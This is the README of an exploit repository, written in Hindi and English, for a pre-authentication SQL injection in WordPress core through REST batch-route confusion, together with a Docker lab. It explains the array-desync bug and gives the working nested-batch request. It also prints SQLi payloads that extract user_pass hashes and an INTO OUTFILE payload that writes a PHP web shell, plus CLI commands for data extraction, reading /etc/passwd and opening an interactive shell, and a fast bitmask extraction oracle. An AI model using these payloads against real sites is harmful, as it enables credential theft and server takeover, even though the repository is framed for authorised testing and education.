
CVE-2026-63030 और CVE-2026-60137 के लिए शैक्षिक PoC + प्रयोगशाला: वर्डप्रेस कोर में REST बैच-रूट भ्रम के माध्यम से पूर्व-प्रमाणीकरण SQL इंजेक्शन
CVE-2026-63030 + CVE-2026-60137 के लिए शैक्षिक PoC और प्रयोगशाला: REST बैच-रूट भ्रम के माध्यम से WordPress कोर में प्री-ऑथेंटिकेशन SQL इंजेक्शन।
Adam Kues (Searchlight Cyber / Assetnote) द्वारा खोजा गया। WordPress 6.9.5 / 7.0.2 में ठीक किया गया।
# bring up the vulnerable lab
cd docker && ./setup.sh
cd ..
# detect
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli
# extract data (fast mode, default)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users
# extract data (blind mode, for comparison)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint
# custom SQL query
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"
# RCE (requires FILE privilege, the lab grants it)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i # interactive shell
# proxy through Burp
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080
# tear down
cd docker && ./setup.sh down
POST /wp-json/batch/v1 कई REST API कॉल्स को एक HTTP अनुरोध में बंडल करता है। इसका अपना कोई प्रमाणीकरण जाँच नहीं है। सुरक्षा प्रत्येक उप-अनुरोध के अनुमति कॉलबैक पर निर्भर करती है।
serve_batch_request_v1() दो समानांतर सरणियाँ बनाता है:
$matches[] यह ट्रैक करता है कि कौन सा हैंडलर प्रत्येक उप-अनुरोध को डिस्पैच करेगा$validation[] यह ट्रैक करता है कि प्रत्येक उप-अनुरोध ने सत्यापन पास किया या नहींयह डिस्पैच के दौरान दोनों को एक ही ऑफसेट द्वारा अनुक्रमित करता है। बग: जब किसी उप-अनुरोध का पथ wp_parse_url() में विफल होता है, तो $validation में एक WP_Error जोड़ा जाता है, लेकिन $matches में नहीं। इससे $matches एक स्थान शिफ्ट हो जाता है, जिससे प्रत्येक बाद का उप-अनुरोध गलत हैंडलर को भेज दिया जाता है।
डीसिंक का दो बार उपयोग किया जाता है।
बाहरी बैच। /wp/v2/posts अनुरोध जो अपने बॉडी के रूप में एक आंतरिक बैच रखता है, बैच हैंडलर (स्व-कॉल) के अंतर्गत भेजा जाता है। इसे एक पोस्ट अनुरोध के रूप में सत्यापित किया गया था, इसलिए आंतरिक requests सरणी को कभी बैच स्कीमा के विरुद्ध जाँचा नहीं गया। यह विधि अनुमति सूची को बायपास करता है और आंतरिक उप-अनुरोधों को GET का उपयोग करने देता है।
आंतरिक बैच। /wp/v2/categories?author_exclude=<SQLI> अनुरोध posts get_items() के तहत भेजा जाता है। कैटेगरी स्कीमा author_exclude को परिभाषित नहीं करता, इसलिए यह सत्यापन पास करता है बिना बदले। लेकिन posts get_items() इसे WP_Query::author__not_in पर मैप करता है, जहाँ मान को सीधे SQL में इंटरपोलेट किया जाता है।
कमज़ोर WP_Query कोड ने author__not_in को तभी सैनिटाइज़ किया जब वह पहले से एक सरणी था:
// PRE-FIX (vulnerable)
if (is_array($query_vars['author__not_in'])) {
$query_vars['author__not_in'] = array_map('absint', ...); // sanitize
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) "; // raw interpolation
एक स्ट्रिंग मान is_array() गेट को पूरी तरह से बायपास कर देता है। (array) कास्ट इसे बिना सैनिटाइज़ किए लपेटता है।
डेटाबेस पढ़ें (प्रभावित सभी साइटें):
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -
बूलियन ऑरैकल: पोस्ट वापस = सत्य, खाली = असत्य। प्रति वर्ण बाइनरी खोज।
फ़ाइलें लिखें (MySQL FILE विशेषाधिकार की आवश्यकता है, WordPress डिफ़ॉल्ट नहीं):
author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -
वास्तविक HTTP अनुरोध:
{
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/posts", "body": {
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
"body": {"name": "x", "orderby": false}},
{"method": "GET", "path": "/wp/v2/posts"}
]
}},
{"method": "POST", "path": "/batch/v1"}
]
}
सरणियाँ कैसे मिसलाइन होती हैं:
serve_batch_request_v1() दो लूप में उप-अनुरोधों को प्रोसेस करता है। पहला
लूप प्रत्येक उप-अनुरोध को मान्य करता है और $matches[] और $validation[] बनाता है।
दूसरा लूप प्रत्येक उप-अनुरोध को $matches[$i] का उपयोग करके हैंडलर के रूप में भेजता है।
चूँकि प्राइमर की त्रुटि $matches से गायब है, दूसरा
लूप प्रत्येक अनुरोध को गलत हैंडलर के साथ जोड़ता है।
POST /?rest_route=/batch/v1 (anonymous, no auth)
|
v
THE REQUEST YOU SEND
+--------------------------------------------------------------+
| |
| Loop 1 (validate): |
| [0] "http://" -> wp_parse_url fails |
| [1] POST /wp/v2/posts -> match: posts_handler |
| [2] POST /batch/v1 -> match: batch_handler |
| |
| $validation: [ error, OK(posts), OK(batch) ] |
| $matches: [ posts_handler, batch_handler ] |
| ^ |
| error skipped in $matches |
| |
| Loop 2 (dispatch): |
| i=0: error -> skip |
| i=1: POST /posts uses $matches[1] = batch_handler |
| -> posts body executed as a nested batch |
| i=2: POST /batch uses $matches[2] = out of bounds |
| |
+--------------------------------------------------------------+
|
v
NESTED BATCH (serve_batch_request_v1 calls itself on the body above)
+--------------------------------------------------------------+
| |
| Loop 1 (validate): |
| [0] "http://" -> wp_parse_url fails |
| [1] POST /categories -> match: categories_handler |
| [2] GET /wp/v2/posts -> match: posts_handler |
| |
| $validation: [ error, OK(cats), OK(posts) ] |
| $matches: [ categories_handler, posts_handler ] |
| |
| Loop 2 (dispatch): |
| i=0: error -> skip |
| i=1: POST /categories uses $matches[1] = posts_handler |
| -> categories request handled by posts get_items() |
| -> author_exclude not in cats schema, unsanitized |
| -> posts maps it to WP_Query::author__not_in |
| -> SQL INJECTION |
| |
+--------------------------------------------------------------+
मौजूदा PoCs ब्लाइंड बूलियन निष्कर्षण का उपयोग करते हैं: प्रति HTTP अनुरोध 1 बिट, एक पासवर्ड हैश के लिए लगभग 224 अनुरोध। यह रिपॉजिटरी ~75x तेज़ निष्कर्षण के लिए दो तकनीकों को जोड़ती है।
X-WP-Total ऑरैकल। WordPress पोस्ट क्वेरी में SQL_CALC_FOUND_ROWS जोड़ता है और गिनती को X-WP-Total प्रतिक्रिया हेडर में रखता है। UNION पंक्तियों को SQL स्तर पर गिना जाता है, भले ही PHP उन्हें प्रतिक्रिया बॉडी से फ़िल्टर करता हो। सशर्त UNION अलग-अलग बिट्स को एनकोड करते हैं:
0) AND 1=0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0 -- bit 0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0 -- bit 1
... -- bits 2-6
-- -
X-WP-Total = 0 का मतलब बिट सेट नहीं, 1 का मतलब बिट सेट। सात प्रोब = एक पूर्ण ASCII वर्ण।
असीमित आंतरिक बैच। बाहरी बैच अपने स्कीमा के माध्यम से maxItems: 25 को मान्य करता है। रूट भ्रम इससे बचता है: आंतरिक बैच बिना आकार जाँच के पुनरावर्ती रूप से चलता है। कई वर्णों के लिए सभी 7 बिट-प्रोब एक अनुरोध में पैक हो जाते हैं।
16 वर्ण x 7 बिट = 112 प्रोब प्रति अनुरोध। 34-वर्ण का phpass हैश ~3 अनुरोधों में, ~224 के बजाय।
$ python3 -m exploit extract http://target --mode blind --preset fingerprint
[*] using blind boolean oracle (binary search, 1 bit per request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 198 requests sent
$ python3 -m exploit extract http://target --preset fingerprint
[*] using X-WP-Total bitmask oracle (16 chars/request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 3 requests sent
केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। केवल उन सिस्टमों पर उपयोग करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।